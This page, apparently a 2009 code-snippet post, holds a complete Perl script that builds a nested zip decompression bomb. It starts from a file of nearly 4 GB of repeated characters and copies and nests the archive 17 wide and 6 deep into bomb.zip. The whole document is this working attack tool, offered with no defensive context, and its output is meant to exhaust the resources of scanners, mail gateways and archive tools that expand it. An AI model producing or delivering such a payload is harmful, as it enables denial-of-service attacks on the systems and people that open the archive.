|
Perl: decompression_bomb.pl |
|
|
|
|
Wednesday, 23 September 2009 20:56 |
#!/usr/bin/perl
use File::Copy;
$width = 17; $depth = 6; $tempdir = '/tmp/dec_bomb'; $filename = '0.txt'; $zipfile = 'bomb.zip'; chdir($tempdir) or die "unable to change directory to $tempdir $!";; createInitialFile(); createDecompressionBomb();
sub createInitialFile { my $file = $filename; my $i = 0; open FILE, ">$file" or die "unable to open $file $!"; # The largest file that current versions of 'zip' will compress is 4GB (minus 1 byte) for ($i = 0; $i < (1024*4)-1; $i++) { print FILE '1'x1048576; } print FILE '1'x1048575; close FILE; `zip -rmj9 $depth-0.zip $filename` }
sub createDecompressionBomb { my $d = 0; my $w = 0; for ($d = $depth; $d > 0; $d--) { if ($d < $depth) { `zip -rmj9 $d-0.zip *.zip`; } for ($w = 1; $w < $width; $w++) { copy($d . '-0.zip', $d . '-' . $w . '.zip') or die "unable to copy file $!"; } } } `zip -rmj9 $zipfile *.zip`;
|